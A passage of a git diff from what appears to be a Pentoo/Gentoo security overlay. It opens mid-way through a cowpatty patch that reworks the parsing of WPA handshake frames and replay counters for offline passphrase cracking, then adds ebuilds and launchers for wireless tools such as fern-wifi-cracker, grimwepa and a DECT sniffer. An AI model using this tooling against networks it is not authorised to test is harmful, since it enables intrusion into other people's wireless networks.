need from this frame is the authenticator nonce */ +- memcpy(cdata->anonce, eapolkeyhdr->key_nonce, +- sizeof(cdata->anonce)); +- cdata->anonceset = 1; +- +- /* Check for frame 2 of the 4-way handshake */ +- } else if ((key_info & WPA_KEY_INFO_MIC) +- && (key_info & WPA_KEY_INFO_INSTALL) == 0 +- && (key_info & WPA_KEY_INFO_ACK) == 0 +- && eapolkeyhdr->key_data_length > 0) { + +- cdata->eapolframe_size = ( packet[capdata->dot1x_offset + 2] << 8 ) +- + packet[capdata->dot1x_offset + 3] + 4; +- +- memcpy(cdata->spa, &packet[capdata->dstmac_offset], +- sizeof(cdata->spa)); +- cdata->spaset = 1; +- +- memcpy(cdata->aa, &packet[capdata->srcmac_offset], +- sizeof(cdata->aa)); +- cdata->aaset = 1; +- +- memcpy(cdata->snonce, eapolkeyhdr->key_nonce, +- sizeof(cdata->snonce)); +- cdata->snonceset = 1; ++ } else { + +- memcpy(cdata->keymic, eapolkeyhdr->key_mic, +- sizeof(cdata->keymic)); +- cdata->keymicset = 1; ++ /* Check for frame 1 of the 4-way handshake */ ++ if ((key_info & WPA_KEY_INFO_MIC) == 0 ++ && (key_info & WPA_KEY_INFO_ACK) ++ && (key_info & WPA_KEY_INFO_INSTALL) == 0 ) { ++ ++ /* All we need from this frame is the authenticator nonce */ ++ memcpy(cdata->anonce, eapolkeyhdr->key_nonce, ++ sizeof(cdata->anonce)); ++ cdata->anonceset = 1; ++ ++ memcpy(cdata->replay_counter1, ++ eapolkeyhdr->replay_counter, 8); ++ cdata->replay_counter1[7] = cdata->replay_counter1[7] + 1; ++ ++ /* Check for frame 2 or 4 of the 4-way handshake */ ++ } else if ((key_info & WPA_KEY_INFO_MIC) ++ && (key_info & WPA_KEY_INFO_INSTALL) == 0 ++ && (key_info & WPA_KEY_INFO_ACK) == 0) { ++ ++ cdata->eapolframe_size = ( packet[capdata->dot1x_offset + 2] << 8 ) ++ + packet[capdata->dot1x_offset + 3] + 4; ++ ++ memcpy(cdata->spa, &packet[capdata->dstmac_offset], ++ sizeof(cdata->spa)); ++ cdata->spaset = 1; ++ ++ memcpy(cdata->aa, &packet[capdata->srcmac_offset], ++ sizeof(cdata->aa)); ++ cdata->aaset = 1; ++ ++ memcpy(cdata->snonce, eapolkeyhdr->key_nonce, ++ sizeof(cdata->snonce)); ++ cdata->snonceset = 1; ++ ++ memcpy(cdata->keymic, eapolkeyhdr->key_mic, ++ sizeof(cdata->keymic)); ++ cdata->keymicset = 1; ++ ++ memcpy(cdata->eapolframe, &packet[capdata->dot1x_offset], ++ cdata->eapolframe_size); ++ cdata->eapolframeset = 1; + +- memcpy(cdata->eapolframe, &packet[capdata->dot1x_offset], +- cdata->eapolframe_size); +- cdata->eapolframeset = 1; ++ memcpy(cdata->replay_counter2, ++ eapolkeyhdr->replay_counter, 8); ++ cdata->replay_counter2[7] = cdata->replay_counter2[7] + 1; ++ memcpy(cdata->replay_counter3, ++ eapolkeyhdr->replay_counter, 8); ++ cdata->replay_counter3[7] = cdata->replay_counter3[7] + 2; ++ ++ /* Check for frame 3 of the 4-way handshake */ ++ } else if ((key_info & WPA_KEY_INFO_MIC) ++ && (key_info & WPA_KEY_INFO_ACK) ++ && (key_info & WPA_KEY_INFO_INSTALL)) { ++ ++ /* All we need from this frame is the authenticator nonce */ ++ memcpy(cdata->anonce, eapolkeyhdr->key_nonce, ++ sizeof(cdata->anonce)); ++ cdata->anonceset = 1; ++ ++ memcpy(cdata->replay_counter4, ++ eapolkeyhdr->replay_counter, 8); ++ cdata->replay_counter4[7] = cdata->replay_counter4[7] + 1; + ++ } + +- /* Check for frame 3 of the 4-way handshake */ +- } else if ((key_info & WPA_KEY_INFO_MIC) +- && (key_info & WPA_KEY_INFO_ACK) +- && (key_info & WPA_KEY_INFO_INSTALL)) { +- /* All we need from this frame is the authenticator nonce */ +- memcpy(cdata->anonce, eapolkeyhdr->key_nonce, +- sizeof(cdata->anonce)); +- cdata->anonceset = 1; +- } + } + } + +@@ -982,10 +992,82 @@ + } + } + ++ if (!(cdata.aaset && cdata.spaset && cdata.snonceset && ++ cdata.anonceset && cdata.keymicset && cdata.eapolframeset)) { ++ ++ cdata.aaset = 0; ++ cdata.spaset = 0; ++ cdata.snonceset = 0; ++ cdata.anonceset = 0; ++ cdata.keymicset = 0; ++ cdata.eapolframeset = 0; ++ ++ opt.nonstrict = 1; ++ ++ memset(&capdata, 0, sizeof(struct capture_data)); ++ memset(&cdata, 0, sizeof(struct crack_data)); ++ memset(&eapolkey_nomic, 0, sizeof(eapolkey_nomic)); ++ ++ /* Populate capdata struct */ ++ strncpy(capdata.pcapfilename, opt.pcapfile, ++ sizeof(capdata.pcapfilename)); ++ if (openpcap(&capdata) != 0) { ++ printf("Unsupported or unrecognized pcap file.\n"); ++ exit(-1); ++ } ++ ++ /* populates global *packet */ ++ while (getpacket(&capdata) > 0) { ++ if (opt.verbose > 2) { ++ lamont_hdump(packet, h->len); ++ } ++ /* test packet for data that we are looking for */ ++ if (memcmp(&packet[capdata.l2type_offset], DOT1X_LLCTYPE, 2) == ++ 0 && (h->len >capdata.l2type_offset + sizeof(struct wpa_eapol_key))) { ++ /* It's a dot1x frame, process it */ ++ handle_dot1x(&cdata, &capdata, &opt); ++ ++ if (cdata.aaset && cdata.spaset && cdata.snonceset ++ && cdata.anonceset && cdata.keymicset ++ && cdata.eapolframeset) { ++ ++ if (cdata.replay_counter1 != 0 ++ && cdata.replay_counter2 != 0) { ++ ++ if (memcmp (cdata.replay_counter1, ++ cdata.replay_counter2, 8) == 0) { ++ ++ cdata.counters = 1; ++ /* We've collected everything we need. */ ++ break; ++ ++ } ++ ++ } ++ ++ if (cdata.replay_counter3 != 0 ++ && cdata.replay_counter4 != 0) { ++ ++ if (memcmp (cdata.replay_counter3, ++ cdata.replay_counter4, 8) == 0) { ++ ++ cdata.counters = 1; ++ /* We've collected everything we need. */ ++ break; ++ ++ } ++ ++ } ++ ++ } ++ } ++ } ++ } ++ + closepcap(&capdata); + + if (!(cdata.aaset && cdata.spaset && cdata.snonceset && +- cdata.anonceset && cdata.keymicset && cdata.eapolframeset)) { ++ cdata.anonceset && cdata.keymicset && cdata.eapolframeset && cdata.counters)) { + printf("End of pcap capture file, incomplete four-way handshake " + "exchange. Try using a\ndifferent capture.\n"); + exit(-1); +diff -uNr cowpatty-4.6/cowpatty.h cowpatty-4.6-fixup14/cowpatty.h +--- cowpatty-4.6/cowpatty.h 2009-06-04 06:24:16.000000000 -0700 ++++ cowpatty-4.6-fixup14/cowpatty.h 2009-07-17 16:16:58.043152023 -0700 +@@ -178,7 +178,11 @@ + u8 anonceset; + u8 keymicset; + u8 eapolframeset; +- u8 replay_counter[8]; ++ u8 replay_counter1[8]; ++ u8 replay_counter2[8]; ++ u8 replay_counter3[8]; ++ u8 replay_counter4[8]; ++ u8 counters; + + int ver; /* Hashing algo, MD5 or AES-CBC-MAC */ + int eapolframe_size; diff --git a/net-wireless/crda/Manifest b/net-wireless/crda/Manifest new file mode 100644 index 00000000..d4f8fa21 --- /dev/null +++ b/net-wireless/crda/Manifest @@ -0,0 +1,4 @@ +DIST crda-1.1.0.tar.bz2 21418 RMD160 56107c11c898d94db3b7d39e17ea9f53afc64ffb SHA1 1ab73f7df83aab511d484b6f8b959a96bd6ab1da SHA256 82695b11263e6b329b4789fbc6b43b7a2d91de667904767bd5d3e4a49556bfc1 +DIST crda-1.1.1.tar.bz2 21666 RMD160 035e381f6276dacd06afc05fbfefdbbf7e768091 SHA1 73643b3f49b34c4150df4abb793a36792cc68fb7 SHA256 59b4760da44a8f803caeaaa7fb97e0c6bd3f35f40445b28258e7f14c2fbe13b5 +EBUILD crda-1.1.0-r1.ebuild 1235 RMD160 3292753d2eb93f8b5c58be3a72ec7912c86c03b1 SHA1 c11d2f635823cc311e6981eb628606b242a80674 SHA256 889a8722ad807f3d4f053093c8b78334d9c15c647f5437933528190ae35612b7 +EBUILD crda-1.1.1.ebuild 905 RMD160 a908790ac379adffae983c25c23b6b0662d3b130 SHA1 91a578ecd725b06fa1dbf12a14dea3f7d319a478 SHA256 f0d2c90b8a747d45deff02fce2c8980326a0260d1206ea55f40242ce72ce9620 diff --git a/net-wireless/crda/crda-1.1.0-r1.ebuild b/net-wireless/crda/crda-1.1.0-r1.ebuild new file mode 100644 index 00000000..4616d1f7 --- /dev/null +++ b/net-wireless/crda/crda-1.1.0-r1.ebuild @@ -0,0 +1,39 @@ +# Copyright 1999-2009 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-wireless/crda/crda-1.0.1-r1.ebuild,v 1.2 2009/01/29 18:37:01 gentoofan23 Exp $ + +inherit toolchain-funcs multilib + +DESCRIPTION="Central Regulatory Domain Agent for wireless networks." +HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory" +SRC_URI="http://wireless.kernel.org/download/crda/${P}.tar.bz2" +LICENSE="as-is" +SLOT="0" + +DESIRED_REGDB="20090817" +KEYWORDS="amd64 ~ppc ~ppc64 x86" +IUSE="" +DEPEND="dev-libs/libgcrypt + dev-libs/libnl + dev-python/m2crypto + =net-wireless/wireless-regdb-${DESIRED_REGDB}" +RDEPEND="dev-libs/libnl + =net-wireless/wireless-regdb-${DESIRED_REGDB}" +# I am "pretty sure" about the rdepends + +src_unpack() { + unpack ${A} + + ##Make sure we install the rules where udev rules go... + sed -i -e "/^UDEV_RULE_DIR/s:lib:$(get_libdir):" "${S}"/Makefile || die \ + "Makefile sed failed" + cp /usr/lib/crda/custom-distro.key.pub.pem ${S}/pubkeys/ || die "please 'emerge -1 =wireless-regdb-${DESIRED_REGDB}', sorry" +} + +src_compile() { + emake CC="$(tc-getCC)" || die "Compilation failed" +} + +src_install() { + emake DESTDIR="${D}" install || die "emake install failed" +} diff --git a/net-wireless/crda/crda-1.1.1.ebuild b/net-wireless/crda/crda-1.1.1.ebuild new file mode 100644 index 00000000..122c1262 --- /dev/null +++ b/net-wireless/crda/crda-1.1.1.ebuild @@ -0,0 +1,29 @@ +# Copyright 1999-2009 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +inherit toolchain-funcs multilib + +DESCRIPTION="Central Regulatory Domain Agent for wireless networks." +HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory" +SRC_URI="http://wireless.kernel.org/download/crda/${P}.tar.bz2" +LICENSE="as-is" +SLOT="0" + +KEYWORDS="amd64 ~ppc ~ppc64 x86" +IUSE="" +DEPEND="dev-libs/openssl + dev-libs/libgcrypt + dev-libs/libnl + dev-python/m2crypto" +RDEPEND="dev-libs/libnl + dev-libs/openssl + net-wireless/wireless-regdb" + +src_compile() { + emake UDEV_RULE_DIR=/etc/udev/rules.d/ USE_OPENSSL=1 RUNTIME_PUBKEY_DIR=/usr/$(get_libdir)/crda/ CC="$(tc-getCC)" || die "Compilation failed" +} + +src_install() { + emake UDEV_RULE_DIR=/etc/udev/rules.d/ USE_OPENSSL=1 RUNTIME_PUBKEY_DIR=/usr/$(get_libdir)/crda/ DESTDIR="${D}" install || die "emake install failed" +} diff --git a/net-wireless/dedected/Manifest b/net-wireless/dedected/Manifest new file mode 100644 index 00000000..c0a8a93b --- /dev/null +++ b/net-wireless/dedected/Manifest @@ -0,0 +1,3 @@ +AUX 99-dect.rules 199 RMD160 dc51d555bcadcd23aca50b5c572f349b22feba01 SHA1 33b80792030a8f8d56b251f5e6da3597099dc285 SHA256 e9830bd99bc043aea3a73c36bab444c9f608ce655c407361a732a2c12c3f1748 +AUX load-dect.sh 141 RMD160 ea6bc9921ce9dca7a68ea7731bb2f63d728163d9 SHA1 00aaabb1ea6a3ef09f442c54e4b9460f248a99b1 SHA256 51778dff87622940cd13e391888a64558cf7a66673f7585b6d7084fe3b4367c1 +EBUILD dedected-9999.ebuild 1401 RMD160 2c4682f065b901ab2e03da3cd271a1715c72264f SHA1 f4e5281528e9b35ca80dd2c1f114c56f9bfe195f SHA256 a73b4666c2a1bfe38f93fa537facf13b8505c710481bea2363d90b57a3bf7439 diff --git a/net-wireless/dedected/dedected-9999.ebuild b/net-wireless/dedected/dedected-9999.ebuild new file mode 100644 index 00000000..506171a8 --- /dev/null +++ b/net-wireless/dedected/dedected-9999.ebuild @@ -0,0 +1,55 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +inherit toolchain-funcs linux-info linux-mod eutils subversion + +DESCRIPTION="DECT Sniffer" +HOMEPAGE="https://dedected.org" +SRC_URI="" +ESVN_REPO_URI="https://dedected.org/svn/trunk/com-on-air_cs-linux/" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~ppc ~x86" +IUSE="" + +DEPEND="" +RDEPEND="" + +BUILD_TARGETS="default" +BUILD_TARGET_ARCH="${ARCH}" +MODULE_NAMES="com_on_air_cs(misc:${S})" + +pkg_config() { + linux-mod_pkg_setup + BUILD_PARAMS="KDIR=${KV_DIR}" +} + +pkg_preinst() { + enewgroup dect +} +src_compile() { +# KDIR="${KV_DIR}" emake || die "emake failed" + linux-mod_src_compile + KDIR="${KV_DIR}" emake -C tools || die "emake tools failed" + KDIR="${KV_DIR}" emake -C tools/dectshark || die "emake dectshark failed" + +} + +src_install () { +# emake DESTDIR="${D}" install || die "emake install failed" + linux-mod_src_install + #we could add a group and when we add udev rules we may drop this stuff in bin instead + dosbin tools/coa_syncsniff tools/dect_cli tools/dump_dip tools/dump_eeprom + dosbin tools/pcap2cchan tools/pcapstein tools/dectshark/dectshark + insinto /etc/udev/rules.d/ + doins "${FILESDIR}"/99-dect.rules + exeinto /lib/udev/ + doexe "${FILESDIR}"/load-dect.sh +} + +pkg_postinst() { + linux-mod_pkg_postinst + elog "If you want to sniff dect as a user add yourself to the dect group" +} diff --git a/net-wireless/dedected/files/99-dect.rules b/net-wireless/dedected/files/99-dect.rules new file mode 100644 index 00000000..8c6dd2e7 --- /dev/null +++ b/net-wireless/dedected/files/99-dect.rules @@ -0,0 +1,2 @@ +ACTION=="add", SUBSYSTEM=="pcmcia", ATTRS{prod_id1}=="DECTDataDevice", RUN+="/lib/udev/load-dect.sh" +ACTION=="add", SUBSYSTEM=="pcmcia", ATTRS{prod_id1}=="DOSCH-AMAND", RUN+="/lib/udev/load-dect.sh" diff --git a/net-wireless/dedected/files/load-dect.sh b/net-wireless/dedected/files/load-dect.sh new file mode 100644 index 00000000..d62f0bce --- /dev/null +++ b/net-wireless/dedected/files/load-dect.sh @@ -0,0 +1,8 @@ +#!/bin/bash + +/lib/udev/load-modules.sh com_on_air_cs + +if [ ! -c /dev/coa ]; then + mknod /dev/coa --mode 660 c 3564 0 + chgrp dect /dev/coa +fi diff --git a/net-wireless/desknfc/Manifest b/net-wireless/desknfc/Manifest new file mode 100644 index 00000000..39b91569 --- /dev/null +++ b/net-wireless/desknfc/Manifest @@ -0,0 +1 @@ +EBUILD desknfc-9999.ebuild 456 RMD160 871abd34f1d95dd934e81eeeee002379b0538a0c SHA1 1e61a032b1a8692718189975c1a882a0de49d54b SHA256 5b95ac2ba621c9836f3deb06dc825d095f5ff96baf1bceb20fa5b551871f208a diff --git a/net-wireless/desknfc/desknfc-9999.ebuild b/net-wireless/desknfc/desknfc-9999.ebuild new file mode 100644 index 00000000..86be81c4 --- /dev/null +++ b/net-wireless/desknfc/desknfc-9999.ebuild @@ -0,0 +1,20 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +inherit kde4-base subversion + +DESCRIPTION="a KDE4 plasmoid which offer NFC content access" +HOMEPAGE="https://code.google.com/p/nfc-tools/wiki/desknfc" +SRC_URI="" +ESVN_REPO_URI="http://nfc-tools.googlecode.com/svn/trunk/desknfc" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~amd64" +IUSE="" + +DEPEND="dev-libs/libndef" +RDEPEND="${DEPEND}" diff --git a/net-wireless/fern-wifi-cracker/Manifest b/net-wireless/fern-wifi-cracker/Manifest new file mode 100644 index 00000000..981b2496 --- /dev/null +++ b/net-wireless/fern-wifi-cracker/Manifest @@ -0,0 +1,4 @@ +AUX fern-wifi-cracker 59 SHA256 40c355180c9eba480c25945d4cac2b988ab19045cd7be6a3a23adcc9b9e121ee SHA512 2f9e0be3cd82f8b4f7487b12666728a751a355125686cbd6030d8c9bc1352027766ffd955a91950838fcbff18f5ba06a787ebd88bd3add2a6319074a91b76506 WHIRLPOOL ea60fb32456990d2fcce0ccd585efa10525d128dc03a8495037bc970d17450d2d545a84955da53714bcd9d674f7b77d777476230f99f1584fb728f71323200c9 +AUX fern-wifi-cracker.desktop 285 SHA256 674ef8d499ec08eec745c5bf218c734f416768a48dd1a8d68036f10a46a3a531 SHA512 04825a9b760f3bfd672e2321279f5b57651a8f9ec7fee028b61650db8e8e4e8f4786885d057ec2c15a627f24e8d0bc2d662ef4ee3abf702c3673c60e0390ccda WHIRLPOOL e6bc5da185848fe8b0d168193ecb97d49fec127224e78438da0c569b936cede78ecffdab23da3dd792a2c03c4a73835169ea8ff2e377e60eda3d9a814860e221 +DIST Fern-Wifi-Cracker_1.6_all.deb 1590058 SHA256 9488a4b892ab1ceeba61b1325d79f8d089b0e235ef57f453b20c43a764a09b56 SHA512 88aa1118e67033b1427e0d694b3f9d8d2c3e08ddeffd1fc01a713de18f5f2a8446716c912d519ddd3f8f6d0faf7a79c9618b69fb2bea502b7df5a892bf7599a0 WHIRLPOOL bd5a93a788cea960519e6f9433e96027fa0e79f3df0b755e8d5af1441648cdff656f8737ee1303c1329c09616bf4d80c63e9cf68c6bacdbf65fd500ae5c906e0 +EBUILD fern-wifi-cracker-1.6.ebuild 1083 SHA256 d9f8c386876316df2b4f7ff7869bb50ec571642c3ca313484e716d70696b3a99 SHA512 b117ee4bb9284a913306f21a39d6df41f929bc4c49b298074d1b9d3dfb1f94a78cbf6152f5d8279297bc7c4fb1ca508e0dda4a398b112f67c9b359cdab28e38f WHIRLPOOL 9598b5da29cd557a57ec28b064dd858e8f9ef7494c46b448dbb1f84e31599a962de40fd0cf225b43a8cfdaeac101a66dc9db8e24a9cddaaf98021fe8e95873ff diff --git a/net-wireless/fern-wifi-cracker/fern-wifi-cracker-1.6.ebuild b/net-wireless/fern-wifi-cracker/fern-wifi-cracker-1.6.ebuild new file mode 100644 index 00000000..7927f55a --- /dev/null +++ b/net-wireless/fern-wifi-cracker/fern-wifi-cracker-1.6.ebuild @@ -0,0 +1,52 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +PYTHON_USE_WITH="sqlite" +PYTHON_DEPEND="2:2.7" + +inherit python eutils + +DESCRIPTION="Wireless tool for WEP/WPA cracking and WPS keys recovery" +HOMEPAGE="https://code.google.com/p/fern-wifi-cracker/" +SRC_URI="https://fern-wifi-cracker.googlecode.com/files/Fern-Wifi-Cracker_1.6_all.deb" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="dict" + +DEPEND="" +RDEPEND="dev-python/PyQt4[webkit] + net-analyzer/macchanger + net-wireless/aircrack-ng + net-analyzer/scapy + dict? ( sys-apps/cracklib-words ) + net-wireless/reaver" +#x11-terms/xterm + +S="${WORKDIR}" + +pkg_setup() { + python_set_active_version 2 + python_pkg_setup +} + +src_unpack() { + unpack ${A} ./data.tar.gz + find ./ -name .svn | xargs rm -r +} + +src_prepare() { + python_convert_shebangs -r 2 . +} + +src_install() { + insinto /usr/share/fern-wifi-cracker + doins -r opt/Fern-Wifi-Cracker/* + domenu "${FILESDIR}"/fern-wifi-cracker.desktop + #symlinking won't work here + dosbin "${FILESDIR}"/fern-wifi-cracker +} diff --git a/net-wireless/fern-wifi-cracker/files/fern-wifi-cracker b/net-wireless/fern-wifi-cracker/files/fern-wifi-cracker new file mode 100644 index 00000000..7055f508 --- /dev/null +++ b/net-wireless/fern-wifi-cracker/files/fern-wifi-cracker @@ -0,0 +1,3 @@ +#!/bin/sh + +python2 /usr/share/fern-wifi-cracker/execute.py diff --git a/net-wireless/fern-wifi-cracker/files/fern-wifi-cracker.desktop b/net-wireless/fern-wifi-cracker/files/fern-wifi-cracker.desktop new file mode 100644 index 00000000..e2abe6f2 --- /dev/null +++ b/net-wireless/fern-wifi-cracker/files/fern-wifi-cracker.desktop @@ -0,0 +1,11 @@ +[Desktop Entry] +Name=Fern Wifi Cracker +Version=1.0 +Exec=sudo /usr/sbin/fern-wifi-cracker +Comment= +Icon=/usr/share/fern-wifi-cracker/resources/icon.png +Type=Application +Terminal=false +StartupNotify=true +Categories=System;Security;X-Pentoo;X-Penetration;X-Wireless; +OnlyShowIn=X-Pentoo; diff --git a/net-wireless/gqrx/Manifest b/net-wireless/gqrx/Manifest new file mode 100644 index 00000000..ca7fec6c --- /dev/null +++ b/net-wireless/gqrx/Manifest @@ -0,0 +1 @@ +EBUILD gqrx-9999.ebuild 590 SHA256 2dc8f26457f745d771c9603018eecfd3934ee687131f43898e91a9afa788549b SHA512 0d14d3b2fc318cd852f98bb7b54d7ef156af38b3c455f76f7c2b08e0b99cd294b6e3b103495f14e4fbd0e03d19e88b267ad70ba13585dc1b2952a93192dd871c WHIRLPOOL 1606dc6eacc9b821bfb7ca0c294572d4392bf8224b161fed6170b0cc702f57f002ddfba72e57bc4d892159f51790f5167761b96e8b52394e18ec6a615a24f001 diff --git a/net-wireless/gqrx/gqrx-9999.ebuild b/net-wireless/gqrx/gqrx-9999.ebuild new file mode 100644 index 00000000..2a62bc57 --- /dev/null +++ b/net-wireless/gqrx/gqrx-9999.ebuild @@ -0,0 +1,27 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=5 + +inherit qt4-r2 git-2 + +DESCRIPTION="Software defined radio receiver powered by GNU Radio and Qt" +HOMEPAGE="http://www.oz9aec.net/index.php/gnu-radio/gqrx-sdr" +EGIT_REPO_URI="https://github.com/csete/gqrx.git" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="" +IUSE="uhd rtl fcd" + +DEPEND="net-wireless/gnuradio[fcd?] + rtl? ( net-wireless/rtl-sdr ) + uhd? ( net-wireless/uhd ) + net-wireless/gr-osmosdr + media-sound/pulseaudio" +RDEPEND="${DEPEND}" + +src_install() { + dobin gqrx +} diff --git a/net-wireless/gr-air-modes/Manifest b/net-wireless/gr-air-modes/Manifest new file mode 100644 index 00000000..6b165436 --- /dev/null +++ b/net-wireless/gr-air-modes/Manifest @@ -0,0 +1,3 @@ +AUX modes.py 164 SHA256 799f59a532004b1e69f69dc75a5f63689daae4b450c98b3c1a35bb95bac7aa15 SHA512 dc7837c115846d80e84b464cafc462dc0563567440761a18f4ca801ecfe604a5d4808a3e98e3f5d482dd275c8de5b363aa44d11244090db1e0557ee41fb933b8 WHIRLPOOL 6c144c3906a2a90053cb900f8822c4c478c9cb82259a0ddb87545195f6c6455e88f64f1f70233dc04bb03195f62355400226095710c818f89a9ce0d72e7b2dcb +AUX rtl_modes.py 45 SHA256 9a0c8154aa3311601bb22885f5b0e4206de0173e99e03f198dae133532f085f3 SHA512 bf3fb60e1885b85adf5a6cd9306e2a874d7b38666484649b70202b959086e9c8b95bdd6cbaa3605000ebb2693c7630e5bb88b3e8d7aa4cd5ff97261c5060cb34 WHIRLPOOL c25c7dbc3f5bcd1929587c9961c81ad9efc899683930f1ab6137a13cc3475ea74463f0028ca4451be263fecd1b7760126f45a8275730cf46ebedff8e389052df +EBUILD gr-air-modes-9999.ebuild 1028 SHA256 be60042343786cfff7aa0c19db025ec8bec81a54c6297cfa713dae1173bed10e SHA512 a0da90740c91f8c5599e87b8de7a560bf1b0bde9ff8455ade28e349c9f84eac0720ff07eacc366fe8b0eb807c3235fbf9c7be3e8e9b39b13141d7574915946cf WHIRLPOOL ce65a0127bb6f8c1c67b1eae8c45831e99bf9cd50a091aebaebfa09ead0edf0846f29d6ed1f53f8a4812f77f868dd9c6271a5f9b7074a4e07bb1b833e4e3ce01 diff --git a/net-wireless/gr-air-modes/files/modes.py b/net-wireless/gr-air-modes/files/modes.py new file mode 100644 index 00000000..511acbef --- /dev/null +++ b/net-wireless/gr-air-modes/files/modes.py @@ -0,0 +1,6 @@ +#!/bin/sh +echo "Please call modes_rx or modes_gui instead of $0 directly" +if [ "$0" == "rtl_modes.py" ] +then + echo "for rtl devices remember to use the -d flag" +fi diff --git a/net-wireless/gr-air-modes/files/rtl_modes.py b/net-wireless/gr-air-modes/files/rtl_modes.py new file mode 100644 index 00000000..60836aef --- /dev/null +++ b/net-wireless/gr-air-modes/files/rtl_modes.py @@ -0,0 +1,2 @@ +#!/bin/sh +python /usr/bin/uhd_modes.py -d $@ diff --git a/net-wireless/gr-air-modes/gr-air-modes-9999.ebuild b/net-wireless/gr-air-modes/gr-air-modes-9999.ebuild new file mode 100644 index 00000000..cdba5710 --- /dev/null +++ b/net-wireless/gr-air-modes/gr-air-modes-9999.ebuild @@ -0,0 +1,43 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 +inherit python cmake-utils git-2 + +DESCRIPTION="This module implements a complete Mode S and ADS-B receiver for Gnuradio" +HOMEPAGE="https://www.cgran.org/wiki/gr-air-modes" + +EGIT_REPO_URI="https://github.com/bistromath/gr-air-modes.git" +#EGIT_BRANCH="master" +#EGIT_BRANCH="qtapp" + +KEYWORDS="" + +LICENSE="GPL-3" +SLOT="0" +IUSE="rtl fgfs +gui uhd" +DEPEND=">=net-wireless/gnuradio-3.6.1 + net-wireless/gr-osmosdr + fgfs? ( sci-libs/scipy + games-simulation/flightgear ) + rtl? ( net-wireless/rtl-sdr ) + uhd? ( >=net-wireless/uhd-3.4.0 ) + gui? ( dev-python/pyqwt )" +RDEPEND="${DEPEND}" + +pkg_setup() { + python_set_active_version 2 + python_pkg_setup +} + +src_compile() { + cmake-utils_src_compile -j1 +} + +src_install() { + cmake-utils_src_install + python_convert_shebangs 2 "${ED}"usr/bin/* + use rtl && newbin "${FILESDIR}"/modes.py rtl_modes.py + use uhd && newbin "${FILESDIR}"/modes.py uhd_modes.py +} diff --git a/net-wireless/grimwepa/Manifest b/net-wireless/grimwepa/Manifest new file mode 100644 index 00000000..11ce8f0c --- /dev/null +++ b/net-wireless/grimwepa/Manifest @@ -0,0 +1,5 @@ +AUX grimwepa.conf 159 RMD160 ec221c1b69ddc2b1a1e5f44e55d5dbeb3e26992b SHA1 972c69fa37082244785226b7686472f68f4360c2 SHA256 ba77016d42d034bc6ebce02999df87d5e2372e79acb0698e885841c0b4eacdbe +AUX grimwepa.desktop 214 RMD160 8cbf25d885835fd0528408786788bbbce1badd77 SHA1 0855de52f0f7773104091dd2297722db837a485f SHA256 c0ea5b062d2ed5afadc5d3912ad401578ed33d37a6f9150ae1dfaf3db84e7943 +AUX grimwepa.sh 50 RMD160 883af2f0cc99cf75d40835ffe1da353a8f78777d SHA1 083f8af4321b5390c64942623746a613f40deef3 SHA256 b442447d20dcc1aa7367b3555375caa330da287fe8764638f73b56bc64007a95 +DIST grimwepa1.10a5.jar 325850 RMD160 12f854075bfcc2544d28d8d99546f1148e8c449d SHA1 8bc01a65d05336cb09a7f4dfdc8237f34b58203b SHA256 7f00b11e1d790404afe229019722b0847a7d0c9d7013a3cdd1cb45212734abe1 +EBUILD grimwepa-1.10_p5-r100.ebuild 955 RMD160 939b803cac126669340a8a31a6fec1fd6dca515d SHA1 c1e592fab3ab36c383083520ecae5d931a62184d SHA256 013c18f37c3a60b45ba408ec4505cc53d21e037676fd72a9d9eb20c3771fb756 diff --git a/net-wireless/grimwepa/files/grimwepa.conf b/net-wireless/grimwepa/files/grimwepa.conf new file mode 100644 index 00000000..48037414 --- /dev/null +++ b/net-wireless/grimwepa/files/grimwepa.conf @@ -0,0 +1,12 @@ +iface select one: +channel 6 +allchan false +targettimeout 3 +wpatimeout 10 +wpaword [default wordlist] +wepattack 0 +xterm false +irate 600 +color 2 +wpamethod 0 +shown diff --git a/net-wireless/grimwepa/files/grimwepa.desktop b/net-wireless/grimwepa/files/grimwepa.desktop new file mode 100644 index 00000000..d609a1d2 --- /dev/null +++ b/net-wireless/grimwepa/files/grimwepa.desktop @@ -0,0 +1,14 @@ +[Desktop Entry] +Comment= +Exec=grimwepa +GenericName= +Icon=cache +Name=GrimWepa +Path= +StartupNotify=true +Terminal=0 +TerminalOptions= +Type=Application +X-KDE-SubstituteUID=false +X-KDE-Username= +Categories=Java;Utility; diff --git a/net-wireless/grimwepa/files/grimwepa.sh b/net-wireless/grimwepa/files/grimwepa.sh new file mode 100644 index 00000000..1e5f06e0 --- /dev/null +++ b/net-wireless/grimwepa/files/grimwepa.sh @@ -0,0 +1,3 @@ +#!/bin/sh + +exec java -jar /usr/lib/grimwepa.jar & diff --git a/net-wireless/grimwepa/grimwepa-1.10_p5-r100.ebuild b/net-wireless/grimwepa/grimwepa-1.10_p5-r100.ebuild new file mode 100644 index 00000000..14a95d29 --- /dev/null +++ b/net-wireless/grimwepa/grimwepa-1.10_p5-r100.ebuild @@ -0,0 +1,36 @@ +# Copyright 1999-2007 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-proxy/webscarab/webscarab-20070504.ebuild,v 1.1 2007/06/17 16:14:46 mrness Exp $ + +EAPI="2" + +inherit eutils + +DESCRIPTION="A password cracker for both WEP and WPA-encrypted access points" +HOMEPAGE="http://code.google.com/p/grimwepa/" +SRC_URI="http://grimwepa.googlecode.com/files/grimwepa1.10a5.jar" + +LICENSE="GPL-3" 